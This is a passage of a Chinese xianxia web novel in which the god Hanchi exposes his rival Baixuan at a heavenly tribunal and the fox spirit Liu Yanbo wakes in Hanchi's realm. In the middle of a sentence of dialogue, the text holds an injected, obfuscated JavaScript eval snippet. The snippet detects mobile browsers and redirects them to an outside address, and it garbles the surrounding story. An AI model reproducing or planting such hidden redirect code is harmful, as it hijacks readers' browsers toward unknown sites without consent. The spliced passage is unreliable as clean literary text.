为了将底牌效用发挥到最强,他摸了底便不再动作,生怕惹来寒池注意,连当日雷部责罚都一字不吐,专等在今天众目睽睽下走完全部程序,再将凡人魂魄提上来作证,定要做个人证物证俱在,才能一气打倒寒池。 几百年来寒池毫无动静,他才笃定这招能打他个猝不及防,他不信自己永远棋差一着。 寒池今日仿佛置身事外,硬是勾着他把手上的牌都撒了出去,到这会儿才突然故意点出这么一句,分明是嘲讽他的一举一动都在掌控之中。 不对劲。 白玄越想越觉得诡异,顿时冷汗涔涔,必须得用采补摁死了速速了结! 他咬牙一一盘问魂魄们,确都有同房之事,心下狂喜,要求荧惑星君、长生大帝即刻剥去寒池与柳烟波的神位神籍,捉拿受刑。 跪立的男子们本是全程惶恐垂首,听到此处立刻骚动开来,其中一人猛地抬头,声音颤抖道: “还请神仙们开恩,放过柳仙子!虽不知中间出了什么差错,但仙子她是好人啊!” “哦?你被她害了性命,为何说她是好人?”星君问道。 这男子虽然极怕,但眼神坚定,此时见容他解释,立刻“咚咚”叩头,胆子也壮了些: “神仙明鉴!那一世小的虽与柳仙子有情,并不是她强迫于我,她说我前世对她有恩,今生与我结为夫妻回报,还渡了几口真气给我,小的因此容颜不衰,比身边人年轻许多。 只恨小的没福修炼不成,仙子伴我五年后便返天了。自仙子离去后,小人又活了好些年头,始终魂牵梦萦,没想到今日既让我听到仙子的消息,我不愿让仙子蒙受不白之冤!” 白玄脸色大变,正要张口训斥,被长生大帝用眼神制止。 大帝问道:“这前世之恩是?” 此话问的是总录,那男子却以为是在问他,羞涩道:“柳仙子说,前世我为天上的净瓶童子,她为一朵仙葩,终日受我甘露浇灌,这才得道成仙......” 众仙:“......” 这忽悠凡人的套路太过熟悉,但这狐妖渡气的路数又太过奇怪,简直不知该从何说起。 总录小声补充:“他那一世再往前翻也是凡人,和仙家无甚关系。” 白玄心里又落定三分,笑声回荡在堂上:“看到了吧!这就是狐狸精最拿手的低劣把戏!” 转头对男子笑道:“可怜啊,狐狸精胡诌你也信?也配妄想九重天的童子,现下不会真以为自己飞升成仙,想来给旧相好撑腰吧?” 男子怔怔的颓坐在地,再不敢抬头。 “其余人亦是如此吗?”荧惑星君依次问去。 “回、回大仙,在下有个爱妾,但不是什么仙子,因家贫才被我买下,二十年恩爱不减。现在想来,她确实也送过我真气,只是在耳鬓厮磨间,当时并不以为意,此后也如这位兄台一般,容貌久不见老。突然有一天,她留下书信自请出家,我找遍寺庵却再也寻不到了。” “俺年轻时在山中砍柴迷了路,不知怎么办好,就碰上一个美貌少妇,她说自己寡居此处,丈夫早死了,邀我进家坐坐.......也不知什么真气的,反正第二天大早上就找不到人了,俺以为就是做了个梦,不知这柳烟波是她啊。” 荧惑星君调来他的命簿一看,亦写了“善终”二字,此人后来有妻有子,活到六十八,在凡人里已极圆满了。 十一人问罢,每人口中的柳烟波身份经历都不相同,至多相伴近三十年便消失了,与生死簿中记载寿数皆吻合,而得了她一口不老妖气的,不过其中四人。 听到此处,在座实在做不到克制,眼神精彩纷呈的飞了满天。 镇国司命暗自庆幸,还好没法多人识海传音,不然这火府上空,此刻恐怕比凡间的菜市场还要吵闹。 她瞄到苍光司命一脸不解,暗暗翻了个白眼,她这上司镇日就想着应卯,能明白才鬼了! 渡了真气的四人在这十一人中姿容最为出挑,狐狸精当然不忍皮相衰老,就分去几口妖气加以维持,供自己赏玩。 想到这里,她视线控制不住的偷偷朝寒池脸上溜去,竟发现他面沉如水。 她纳罕道,上神连柳烟波的旧情郎团都能包容,怎的分几口妖气脸色就难看成这样?饶是这四人俊美出众,但寒池与之相比,也不落一丝下风啊? 转念又一想,是了,既然他如此爱重这柳烟波,亲耳听她的旧情人回忆往昔点滴,怎能受得住,种种镇静自持,不过是强撑罢了!这与当众受刑又有何异? 想到此处,投向寒池的目光又多了几丝怜爱。 满堂神仙心思通透,大多与镇国司命想到了一处,此时,寒池身上已集聚了十几道饱含不解、理解、同情、怜悯、惋惜的杂糅目光,简直要把他钻出一个洞来。 每多一个凡人开口,白玄脸色就多难看一分,现在已经比寒池还差了。 还不如不叫这群成事不足败事有余的凡人作证,模模糊糊的反而直接将罪坐实,现在倒成了画蛇添足! 他大声喝道:“他们都被那妖狐迷了,能说出什么话来!总录,不是说柳烟波是被个凡人天师封印的?柳烟波的罪状他最明白,还不快将他拿上来!” 地府总录拱手垂眼道:“天师被众妖所害,魂飞魄散,没法拿来了。” “你!”白玄被噎得怒形于色,他瞪圆了眼,险些和总录拉扯起来,嘴里叫嚷着: “好好好,我明白了,你们早就和寒池串通好了,来这耍我是不是?九重天改天换代才多少日子,你们就不把真神放在眼里,这么处心作践我!我还告什么寒池徇私,竟忘了整个天宫都沆瀣一气,我是告到自家人脑门子上了!” 众仙暗道:白玄这是知道自己输了,才在这里气急败坏胡搅蛮缠起来。“呈堂证供”听下来,谁都知道是个怎么回事。 狐狸采人精气修炼见效甚快,一旦采补便控制不住将精气摄干,虽是捷径,但入了邪僻干扰天律,也再难忍受需要旦夕吐纳的漫长修炼法子,往往一发不可收拾从而被诛杀。 这柳烟波不知是运气好还是受过高人指点,虽采补凡人,但每个都捏着分寸不多采,不至于毁了原本阳寿,竟成了寻常夫妻一般。因而飞升时天道降下的雷劫足够将采补之过罚尽,即便当下拉到雷部来判,也判不出什么罪过,寒池不察也是情理之中。 但寒池少年得志,内里清傲,即便这次全身而退,白玄将柳烟波的情郎们提溜上来大谈艳史,明日就会传遍整个九重天,也足够让寒池和柳烟波的颜面尽失,恶心了寒池好几个来回。 见他现下的样子,怕是迷恋的劲头也散了,就算柳烟波能成仙,寒池也不会留了,否则往后如何有脸在九重天行走。 眼见白玄闹得愈发不堪,荧惑星君放出一道霹雳白电,火府瞬间亮如白昼,众仙都亮得一时睁不开眼纷纷回避,地上的魂魄们登时吓晕过去。 荧惑星君的神相如烈焰中的罗刹般狰狞可怖,他的声音伴着劈天彻地的巨响同时逼进耳中:“这里是雷部火府,谁也不得造次!” 谁也没看清发生了什么,白玄已被移在一旁,跌坐在地上,全身酸软使不出力气。 火府于瞬间又恢复平静,星君示意两神将压制住白玄,缓声道:“寒池上神,你还有什么要说?” 寒池抬起古墨般漆黑的眸子,肃声道:“我决意点化柳烟波,是因相信天道、酆都、九重天的判断,而从始至终少言,如真君所说,因此事确实马虎不得,今日这般验证亦是烦劳各位掌眼,为我拾遗补阙。 柳烟波长于山野,无人教她道理荒唐行事,以致走歧途至窘步,最终被封埋地下;同时却无师自通,采补亦不愿取人性命,待凡人保有几分真情,以致救己免于雷劫的灰飞烟灭。 寒池当日仅是姑射山顶一颗乍开灵智的玗琪木,不知万物法则,镇日只知任性妄为,兴风弄云,搅得天地大乱,若非得句芒真神点化,恐怕与她也并无分别。 我以心性为凭点化她,就如师尊当日点化我一般,但传无尽灯,使冥者皆明,明终不尽,寒池之心,唯此而已。” 语毕,堂中众仙皆整肃面容,连连点头,原先杂乱闪烁的目光再不敢落在他身。 “为化众生,名为得道;能悟之者,可传圣道。上神已得真神真传,百年未见,愈加圆融通达了。九重天圣慈覆世,有教无类,柳烟波既是可传圣道者,还盼望她不负自身机缘,传延上神所成。” 一时间,长生大帝金容赫日,双目似悯似喜,俯身垂下金光,众仙沐万千光缕,皆感通体涤清,眉舒目展,齐道大善。 寒池与众仙一道垂首受教。 “说得在座一个个都掉泪了,可真是感动啊!若那狐狸精闯下大祸,寒池你敢负责吗!”白玄见功败垂成,颓势难挽,已恨得七窍生烟,双眼猩红。 “若有那日,我亲手了解她。”他不疾不徐道。 白玄说不出话了,跌跌撞撞的地上爬起,径自昂首走出门去,星君示意神将拦下:“真君要去哪里?” 他回头恨声道:“不光寒池徇私,雷部枉法也该一并告了去,这里是审不了了,我这就告去凌霄殿,叫天君看看九重天都成了什么样子!” 荧惑星君肃声道:“白玄真君,今日在堂上已多次容你放肆,你还不知错吗?” 白玄冷笑:“呦,知道怕了吧,对付你们只有抬出天君来才行,既然这么想治我的罪,就随我去凌霄殿说个明白!” 正在争执不休之时,一道清越的声音不疾不徐道:“真君,我也有件要事向火府求证,不知方便吗?” 荧惑星君见是寒池,又看看白玄,面色不自觉和缓两分,道:“上神但说无妨。” 寒池从容的上前一步,沉静如松竹,此时被狂躁的白玄一比,更显得超然出尘。 他缓声说:“七百年前,有个凡人前世身负功德,本应待两世寿终后被指任为一方地仙,却意外早逝,只得转世补足德行。然而往后每一世或是腹死胎中或是早夭,皆无法顺利转生。六洞宫只得寻来九重天相看,正好找到了我。” 他顿了顿,目光停在群仙其中一人,又道:“原来那魂魄只余空壳,内里残破不堪,形骨无存,尚可补全,魂神破碎,便无法挽回了,因而无法转世。我在缝隙处发现了灼伤痕迹,形状正像是真神的印记。” 听闻寒池所言,长生大帝奇道:“竟有此等异事?若是隐世的真神下降投胎转世,也不至于无法转生,更不会指其为地仙,岂非颠倒了乾坤?” 座下一直沉默的苍光司命忙道:“大帝所言甚是,指任地仙由我司命府负责,真神神魄独一无二,绝不会出此纰漏,只有凡人躯壳承受不住外力强行侵入,才会被震成碎片。” 寒池点头,余光瞥见身旁一人低头不语,微微一笑:“听闻六洞宫当日向司命府派去了文书说明,那凡人的名字叫林青阳,只需一看便知。” 白玄的脸色唰得煞白下来,方才他就听着不对,现在终于记起了“林青阳”这个名字,暗暗攥紧了拳要走,却又觉不打自招,只得强撑着站在原地,万一能蒙混过关呢。 “正是!”苍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332619|183308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光司命连连点头。 镇国司命念完命簿后,一直闲在一边看白玄闹事,此时讯音忽然闪现识海: 小崔,方才交代你的那些文书,已都放入你袖中,快些拿出来。 镇国司命凝神探入袖中,以最快速度翻阅了一遍,心中竟惊讶又疑惑,面上却不动声色,朗声上前一礼道: “小神今日正整理陈年的疑难文书,有许多不解之处正想请教苍光司命,便匆忙带了过来,其中正有这林青阳的。” 她手上一抹,袖中的文书纷纷飞入长生大帝手中,只听这女司命道:“大帝请看,六洞宫发来的林青阳滞留酆都移书,林青阳转世处理牒呈、司命府的意见批复下帖都在此处。” 牒呈细书林青阳功德甚高,气象不凡,司命府着意提点他为一方城隍,便将他的最后一世设为莲扶应劫之人,以此为最后一功,身死后即可飞升。 在莲扶的第十世情劫中,他为名震一方的高道,诛杀妖邪无数,奉氐国国主之名,捉鲛人献于蔺王世子上京,途中不知发生何事偏离了原定劫数,鲛人与世子双双死遁,林青阳也英年早逝,功德不满,神魂破碎,难入仙位。 大帝翻至此处,心中悚然,莲扶的惩处历劫之事重大,当日由他安排督办,而这鲛人与王府世子,正是莲扶与崇冉第十世历劫投胎的身份。 若是当日历劫真出了差池,这一神一魔极有可能身死道消,本已平息神魔二界定会再度动荡。 再抬头,一向和蔼的长生大帝眉眼间已多出几分肃杀之意,他冷声道:“上神何等聪明,恐怕已猜出十之八九,为何偏等到今日才报?” 寒池掌中化出一朵青莲,花瓣层层绽开,露出了花芯中的一颗珠子状的结界。 其中有气雾如一尾鱼般穿梭游弋,隐约有点点金色星光闪烁,那道气雾正是林青阳残存的神魂。 他静静看着青莲,眼中明澈:“小神不才,修补魂魄耽误了功夫,其中关节即便猜到十之八九,剩下那一分也需今日在火府才能确定。” 他轻轻一弹,结界中的金光已破出,径直落在群仙中的一人身上,形状恰似一只咆哮着的驺虞。 众仙并不知这段内情,但九重天人尽皆知,天衍的远古真神创造了世间万物,他们的神魂与众生不同,识海中自带本族图腾印记以示天地之长,连自己也无法销毁。 这真神印记认主,眼见这金色印记将要落在白玄身上,离他越近金光则越盛,无不瞪大了双眼。 白玄全身早已寸寸绷紧,脑中霎那间闪过无数个念头。 那时他偷窥得莲扶劫数,对外宣称云游,实际悄悄潜入凡间,抢了林清阳的躯壳戕害莲扶,意图让她历劫失败,从而身死道消。当确定已害死莲扶的转世,这才放心的功成身退。 他早知凡人的躯壳承载不了神族入体,最终原主魂魄会被神魂搅成稀碎,甚至不可避免留下自己的神迹。 可他并不在意,世间魂飞魄散之人不计其数,再多一个小小凡人也没什么稀奇,即便酆都发现了,难道会为了凡人为难真神血脉? 谁能想到这林青阳竟也得了九重天授命,在司命府挂了号,还偏偏落到了寒池手里! 什么“今日正巧整理带来”,司命府有备而来,这是专等今日联手寒池下局于他! 白玄咬紧牙关,一只手中暗暗攒出一个假印记,只等着一手吸金光入体,趁机将假印记抛出替换。 眼见金光越来越近,正要落入他手中,忽的白光一现,却再也寻不到了。 白玄被白光晃了眼,再回过神来两手皆已空空,全身如瞬间坠入冰窟,忽听一雄浑的男声喝道: “看来,这就是剩下的一分证据了。白玄真君,你搅乱原定劫难,毁了一人神命,现下又伪造证据,还有何话说?” 那一真一假的两枚驺虞,正在长生大帝手中滴溜溜的打转。 大帝的怒喝如一道惊雷,劈得白玄一颤,语无伦次道:“什、什么证据,我不懂你在说什么!” 话音未落,他已闪身要化形飞去,被四神将眼疾手快的拦下按跪在座前。 此时寒池手中的林青阳魂魄也移交至大帝手中,长生大帝叹道:“事已至此,你还要抵赖吗?只需查查你那时究竟去了何处,自然明了。” 情势瞬间倒转。 镇国司命此时终于将事情串了起来。原来她这上司不知什么时候早就与寒池勾结一处,特意等待今日将林青阳之事抖出...... 白玄行踪不定多年,司命府寻了几次也没寻到,倘若直接向雷部状告,恐怕还真难以一举拿下。 她偷偷瞄了眼前头的苍光司命,暗暗腹诽这老油条没德行,来这唱一出里应外合引蛇出洞,只有自己一个老实人被蒙在鼓里,白白被他吓得晕头转向。 联想当日是白玄向火府揭发莲扶勾结魔界,荧惑星君心中已是澄明一片。 第十世情劫之事四御下令彻查了数次也没寻到根子,没想到答案竟在此处。 白玄跌坐在地上,双眼涣散,再无一丝气力挣扎。 他小心翼翼蛰伏百年,今日本该是他白玄扬眉吐气羞辱寒池,可却变成自己被押解在地,耳边全是围观众仙在对他指指点点,目光如千百把尖刀刺在他身上,丢尽了一世的颜面。 他想不通,究竟是哪里出了岔子? 他不甘、不忿!只觉得一幕幕如走马灯般,转得他头晕目眩,仿佛置身于噩梦之中。 毁坏天魔二界劫数,戕害凡人仙命,扰乱地仙归属,这三桩罪叠在一起已不小,若寒池再提出一条侮辱声誉,那也是情理之中...... 荧惑星君想到此处,心中只犯嘀咕,不禁看着寒池,就等着他火上浇油。 寒池神色漠然,既不见喜,亦不见悲,见星君看他,只道:“此事后续我不便在场,就先行告辞了。” 听到寒池的声音,白玄如梦初醒,惊声大叫道: “寒池!无耻小人!有本事便堂堂正正和我对打,别耍这些下作手段!莲扶是九重天的罪人,你今日为她报仇是何居心?既然这么挂念她,当日怎么袖手旁观? 哈哈是了!你是怕莲扶连累自己的声望,何其自私,何其虚伪!你算是个什么东西,我就在这看着!看你最后是个什么下场!” 寒池置若罔闻,只冲诸仙微笑颔首致意,便飘然而去。 那笑容仿佛山巅上的冰雪,看似被日光映出暖意,触感仍是冰凉。 他该回去会会那只狐狸了。 5. 走眼 “呜呜……”不远处的狐狸哀嚎着,烟波明白她想说什么,那一声高过一声的短促嘶吼,都是对她的警告: 快逃!这里已被敌人包围! 惨白的月亮挂在天上,照的大地如白雪,却照不透如人高般的草丛。 空气中能嗅到青草和泥土的味道,还有……血的味道。 她的瞳孔骤然缩紧,本能的要上前去,却被狐狸的警告止住了脚步,它身下有东西渐渐漫开,染红了自己杂色的皮毛。 烟波暴怒的咆哮,绷紧了每一寸肌肉。 是谁!她低伏下身子,赤脚紧紧抓着地面,摆出攻击的姿态,她能敏锐的感觉到,还有一股说不上的古怪气息离她越来越近了。 已经来不及了!狐狸用尽最后的气力催促着。烟波痛苦的冲它摇头: 我不能抛下你。 狐狸琥珀色的眼里流下一滴泪来,瞳孔里映出一轮空洞洞的月亮,它已经跑不动了,冲烟波恶狠狠的骂着。 草丛里的沙沙声越来越近,烟波咬紧牙倒退,最后最深的再看它一眼,转身腾跃化为狐,头也不回的飞奔而去。 直到她在消失在黑暗中,那双琥珀眼睛才肯永远的闭上。 柳烟波吓得惊醒,终于睁开了眼,露出与梦中狐狸同样的琥珀色瞳仁。 此时既不在挨雷劈,也没有母亲的最后一面。现在的她躺在松软的木床上,睁眼就看到榻前的帷幔在阳光下悠悠荡荡。 四周的摆设甚少,但颇为整洁。这里没有海水的湿咸,只有手边的香炉袅袅生出笔直的白缕,像草木的清香,又像初晨露水的清净味道。 她再一次想起来,原来梦里已经是很远以前的事了,她靠死去两次终于逃离了那个人。 而现在,她在九重天。 几天前甫一苏醒,她就被个叫寒池的上神告知自己已喜提飞升,成为了九重天上的一名神女。 距离她被封印已过去五百年,算上她封印前活了七百年,如今已有一千二百岁高龄。 当然,她一个字儿也没信。 一睁眼她立刻认出了这寒池正是冷眼旁观她挨雷劈的那个人,又从他身上嗅出早在坟里就闻过的味道,认定他就是那个天杀的刨坟王八蛋,先将他劈头盖脸的痛骂了一顿出气。 等到发现寒池确实没骗她已来不及了,柳烟波已穷尽毕生所学的骂人大法,给他从里到外的倾囊相授了一遍。 然而这尊大神不知抽了哪门子邪风,挨了骂也纡尊降贵的受着,只一个劲儿的盘问她是否记得前世的亲近之人。 几个来回下来,烟波明白她飞升的机缘,定出他口中的“前世亲近之人”身上。 可她孤狐一只,在天地三界无亲无势,凡尘中的相交缘分浅薄,即便其中真有大才修仙,也万不至于提携她到这个份上。 柳烟波摸着良心也没摸出来自己攒了多少功德,这谁能想到祖坟还真冒青烟啊! 那么只有两种可能,要么是某位旧日情郎得道成仙,还不忘提携她这个老相好。 要么,她对他有极大的利用价值。 如果是第二种,那很好办,如果是第一种......就确实不太好拒绝。 于是她故意盘点了一遍诸位旧情人,又半真半假的笑他:“既不是旧相识,看来是我的高名远扬,叫九重天的大仙也倾倒了?” 眼见这位上神已被她震得目瞪口呆,却忍耐着不捏死她,仍执着的让她回想前世机缘。 她被问得不耐烦,只说他认错人了,叫他把自己从哪来打哪去的入土为安。 寒池似乎是答应了她,可是还没动手就不见了踪影,放任她在这荒凉地里自生自灭。 她长长吐出一口气下了床,这寒池既没收走她的性命,那总有一天要回来,在他来之前,烟波每日都例行公事,将这地方勘察个遍。 听闻这里是寒池的紫府等闲境,满眼枯木干草,无丝毫景致可言,境内遍布云雾,所视之处不足百步,更显得无边无际,难辨方向。 烟波苏醒后精力依旧不济,走了一段便微微喘气,忽有个响亮的童音在身后响起:“神女别乱跑,再乱跑我就要告诉上神了!” 不用回头,她都知道是谁的声音。 自那日寒池走后,床边的盆栽里蹦出了个十岁上下的女娃娃,她坚称自己是寒池派来照顾她的果子精。烟波赶不走她,只得视她为无物。 要命的是,这小娃娃对待她就像照看四五岁的小孩子,一刻不停的围着她吵嚷,闹得她是头晕眼花,待身子恢复到能下床,立刻溜出来躲清闲。 “赶紧告诉他啊,我倒要问问,他躲着不露面是什么意思!” 烟波眼见要被她轻松追上,索性停下脚步,扶着一旁的枯藤顺气。 “上神说,他自有打算,你且安心候着就是了。” 恐怕是他弄错了人,还没想好怎么收场吧。 烟波不屑,突然腿上一紧,低头一看,这小姑娘竟在奋力扒拉自己,想将她硬带回去。 烟波拂开她,径直往迷雾深处走去。 “神女!你不能去哪里!” 烟波并不理睬,继续上前,却见雾气中渐渐透出诡异的红光,一股似有若无的蛰刺感包裹住她。 她心头发憷,不敢再行。波波瞅准机会,连忙将她连拖带拽出了这片雾气。 “那里是禁地,里面全是煞气,你不要命啦!”波波气的一蹦三尺高。 “你们神仙住的洞府,竟还有这种地方。”烟波若有所思的回望,耳边依然吵个不停。 这小童女还在一哭二闹三上天,控诉烟波不听她的话,惹得她也担惊受怕,没法同上神交差。 烟波被吵得眉头都拧紧,随口道:“是我求着你照顾我的?这么委屈,你走就是了。” 不料这话不知触到了这小女仙的霉头,惹得她当即“哇”的放声大哭起来,一边哭一边打滚。 “不!我不走!盼着了么多年,我好不容易修出一双腿能下地,我连名字都是跟着你取的,若你不肯留我,我还有何颜面见上神!只能回花盆里当果子,我不要当果子呜呜呜……” 提起名字烟波更要来气,她叫烟波,照顾她的就要叫波波?却见这小果子精哭的愈发起劲,边哭边蹬起腿来。 她忍着头疼道:“吵死了,闭嘴。你们上神起的好名字,一口气膈应了两个人,我还想问问他这是什么毛病呢!” 波波的哭腔立即止住,转而冲烟波怒目而视:“不许你这么说上神!” “你不让我说,我就偏要说。”烟波眯着眼,心中转过一个念头,提高了声音:“好啊,他不来见我是吧,那我就让他求着来见我。” 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“你、你!”波波在这等闲境中无忧无虑的长成了精,心思纯如白纸,从不曾想过还能这样反咬一口,颠倒黑白,气得脸都涨红了。 烟波瞟了她一眼,继续加码:“哦,不对,你现在挡在我前面,分明就是你引我来的。” 波波听得胆战心惊,想想以现在的情景被寒池撞见,若是烟波真这么说,她确实百口莫辩。 正想移到她身后,却又怕自己一退后,烟波就冲禁地去了,左右为难之际,只得坐在原地又哭起来。 烟波见火候差不多,足够把个小果子唬得晕头转向,晾她哭的没劲了才道:“小毛丫头,说了这么多,现在可愿意听我的话了?” 波波只得抽噎的点点头。 很好。烟波笑眯眯的伸出小指头,蹲下平视波波。 波波抬起泪痕的脸,奶声奶气的问:“这是什么意思?” 烟波晃了晃小拇指:“这是人间做约定的手势,拉钩上吊,一百年不许变。” 波波将信将疑的伸出小手。拉完了勾,波波越想越委屈,感觉莫名其妙就把自己卖了,十分对不住上神,忍不住的呜咽。 烟波不耐烦的掏掏耳朵:“从现在起,不准你再哭闹,头都要被你哭炸了。” 波波只得努力憋住,硬是憋出一个哭嗝。 转念一想,一百年,不过眨眼间,她只需要听这狐狸的话一百年,也不算太憋屈,又将自己哄好了。 “这是怎么了?” 听到这熟悉的声音,波波惊得嗝都止住了,她战战兢兢的循声望去,正见一仙人拂散浓雾而来,衣袂飘举,仪态如风。 “上神......”波波恭恭敬敬的叫了,连忙站了起来。 寒池冲她微一颔首:“到处都是你的哭声,究竟发生了何事?” 波波偷眼瞥见烟波的脸色,见她似笑非笑,支支吾吾的说不出所以然。 见波波说不明白,寒池的视线移向烟波:“你说。” 烟波不以为然:“没什么,她在路上被绊了一跤,摔得痛了。” 寒池在心中冷笑。方才的事,他全程尽收眼底,这狐狸不但对波波威逼利诱,现在当着他的面,也敢满嘴谎话。 6. 将错就错 打从柳烟波醒来,便见她行事轻浮放肆,任性狡诈,甚至连前尘旧事也想不起来,让他无法接受这就是他要点化的狐狸。 白玄设局向雷部告发他点化存私,他亦顺势再次查证这柳烟波的底细,虽无意外发现,可那生平也实在不敢恭维。 方才更目睹她如何诓骗威胁,欺上瞒下,霸道蛮横得连尽心照顾她的小果精都要欺负,心中愈发反感,看来是她巧言令色,掩饰本性才骗得点化飞升。 可若是如此,依然无法解释为何她对自己的形象不加粉饰,宁肯去死也不要这白来的仙骨,明明是被活活封印,却能对重生毫无执念留恋。 如此境界,他自问也做不到这般痛快潇洒。 在火府堂上虽力保下她,可他心中早有打算,如若这柳烟波当真是藏奸卖俏之流,断不能留在九重天上。 “盯着我做什么,几日不见,想我了?” 笑吟吟的女声拽回了寒池的思绪。 第一次见面时被她骂得发懵,现在听她好好说话,才发现这嗓音与想象中的不同。 低醇浓滑,词梢句尾还带着鼻音,像醴酒一般,同它主人的面孔形成一种意外的反差。 落入寒池耳中,实在是太重的轻浮。 “看来波波扰了你的调养,要紧么。”他淡淡道。 他谨慎的审视眼前这只狐狸。 她全身素衣,毫无矫饰,更显出瞳色比常人略浅,似蜜金色的两丸琥珀,嵌在一双微挑的桃花眼里,潋滟粼粼,平添了异样的媚态,仿佛能够摄魂夺魄,心下不禁警觉三分。 此话一出,落在波波和烟波耳中,就听出了两种意思。 波波以为寒池是当真怪她,失落自责不已;而烟波知道这是敲打,寒池分明将她威胁波波的话换了个说法复述一遍,点破他已听到全部的事情经过。 “还好,若不是托她的福,我又怎能找得到您呢。” 她面不改色,笑眯眯道:“人间都说一日不见,如隔三秋,我三天不见上神,都快变成宫中的嫔妃,需得日日盼着您的羊车了。” “急着寻我,是改变了心意?”烟波侧头扶了扶发鬓,不动声色的打量他。 第一次见面时,只顾着一股脑儿的痛骂他,今日冷静下来细细观察,才发觉这神仙虽看着和煦,可是身上隐隐总有种迫人的压力。 她说完这句调笑的话,后知后觉的害怕起来,可谈判只有先探才能知进退,于是继续道: “我知道上神是忙着探我的底细,探出的消息可让你满意?我日日在这儿被汤药喂着,就像等着出栏的猪,实在无聊得受不了。” 虽然不知“出栏”是什么意思,可寒池每每听她开口说话,总觉得言语之间满是揶揄调侃,阴阳怪气,难以入耳。 他按捺下心头浮出的隐隐不快,道:“几日过去,可曾回想起什么旧日机缘?” “我一向修炼懈怠,任性散漫,还爱走霉运,上哪儿去找仙缘,还是那句话,你找错人了。” 烟波故意学着他的语气说话,表面还是一副似笑非笑的神情,两只精亮的眸子在寒池脸上转了又转,仿佛一只无形的手细细的抚摸,不放过他脸上的每一寸微妙起伏。 可惜面前这尊大神宛如塑像,丝毫不为所动,说出的话却惊人:“倘若,我愿将错就错呢?” 烟波瞪圆了眼,掩口称奇:“真奇怪,找错了人问我做什么,我可不替你求情的。” 寒池露出一抹淡淡的微笑:“你有几分聪明,就不该不合时宜的装傻。” 柔和的声音里带着一丝不容撼动的意味。 烟波心道,他居高临下的暗示施压,可不是情愿将错就错的态度。 有话不会直说,非要在这给她兜圈子打谜语,听着就来气。 她肃正面容,冲寒池轻轻摇头:“那我只能敬谢不敏了,谁说天降横财,不会是天降横祸呢?” 寒池面色平静,注视了她良久,缓缓道: “说来惭愧,只因我自问做不到像你这样推辞不受,才屡次试探追问。我要点化之仙,除你之外,别无二人。” 见面前的狐狸精讶然扬眉,寒池眼底如春风化雨般柔和,又道:“封印恐怕于记忆有损,以致你想不起其中机缘。仙者机缘,贵在自悟,何时想起,何时告诉我便是。” “那么,你还要拒绝我吗?” 烟波眸光闪动,这男人在说什么屁话啊。 态度公事公办,却把话说的不清不楚,仿佛又怕她想起又怕她想不起来,这拧巴纠结的样子,难道真是自己欠下的风流债? 这么一寻思,干问恐怕是什么都问不出来了。 索性见招拆招,顺藤摸瓜。 于是抿唇嫣然一笑道:“上神都说到这份上了,再拒绝,不就成傻子了?” 她眨了眨眼:“既如此,我要唤您为师父么?” “不必。”寒池淡淡道。 烟波点点头,负手绕着寒池踱起步来:“只是我想不到,这传闻中的九重天不过如此。而我作为神女,也和流放的犯人无异。” 寒池的目光追随着烟波,示意她继续。 她道:“我在这里,一不曾见过外人,二不曾有神仙应有的装扮样式,三不曾学过半点仙法术式,你可以出去探查我,我却被你蒙住了耳目,即便你指地为天,我也没话可讲,未免太不公平。” 寒池道:“不错。” 随即一挥袖,天地登时换了景色。 白雾散开,触目可见的枯树化作苍劲灵木,枝叶繁茂,通身雪白,阳光透过泛出细碎金色,像落了一树一树的雪。 一阵风动,枝叶轻曳,声音宛若银铃摇缀。远处仙雾缭绕,不时有拖着长长翠色尾羽的百乐鸟飞来。 而她眼前,更是一片茂盛的花林,只是这花林如夕阳最后时分的余晖一般赤红,与别处皑皑截然不同。 “这是你给我施的障眼法?” 烟波痴看好一会儿才回过神。 “是闭关幻障,一时忘了撤掉。”寒池收回了手。 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一时之间,眼前两位突然相敬如宾起来,温良恭俭让就落下一个“俭”,客气的堪称一段佳话,令她猝不及防的打了个冷战。 她大大的眼睛里盛满了迷茫,她也没跑神啊,怎么感觉错过了几百年? 只听烟波柔声道:“我在凡间一直向往九重天广开仙宴,琼浆玉液,好不气派,既然我已历了雷劫,是否也有赴宴的资格?” 寒池深深看了她一眼,掏出一只短笛。 清脆的笛声飘荡在山林间,转眼引来数只仙鹤翩翩起舞,将他们拥在中间。 它们倨傲的挺着欣长的脖子,其中一只额前有一点丹红,像嵌了块红宝石,从长喙中吐出数封柬贴。 寒池从中翻检出一封,飘飘乎落在烟波手中。 “桂山仙翁三日后设宴,可随我一道前去。” 没想到他这么痛快就应了她,烟波盯着手上的柬贴发怔,突然听寒池礼貌又不容抗拒道:“条件我已全部应下。现在,你该回屋了,没有我的允许,不要乱走。” 烟波全身一震,如临大敌的抬起头,那人已不见了踪影。 她心中发凉,这地方是万万待不得了。 是夜了,月光透过碧纱橱流了一地,照在莹白天衣上熠熠生辉。 烟波看着衣服怔怔发呆,难怪书生一眼就能认出来仙女。 她略略迟疑,将天衣一件件穿戴整齐,站在镜前。 镜里的女神乌发雪肤,面容静美,像一朵亭亭立着的芍药花。这衣服一身光华,被细微的光晕笼罩着,衬得她眉眼更加温柔朦胧。 “上神上神!柳烟波不见了!”波波慌慌张张的冲进雪斋,殿内空无一人,她急的伸长脖子四处张望,冷不丁在她身后传来一个声音。 “怎么了?” 波波连忙转身,向寒池恭敬地行了一礼:“方才去送药,可是到处都找不到她。” 她担忧道:“上神,柳烟波是不是离家出走了?” 7. 误闯天家了 离家出走......听到这个词,寒池不由觉得有些荒谬。 他确认道:“在她消失之前,可曾与你说过什么?” 波波不敢看寒池。 她与柳烟波置气,不愿盯着她,这才叫她跑了,此时心虚道:“她说要四处走走,不让我跟着。” 寒池心中有数,她是走不出等闲境的。 见波波一个劲儿的盯着自己的脚尖,寒池道:“无须在意,若她再欺负你,只管告诉我便是。” 上神竟然都知道! 波波猛地抬头,她才化形不久,便被寒池委派了照管烟波的重任,却被烟波胁迫,深感有负所托,已愧疚了一整日。 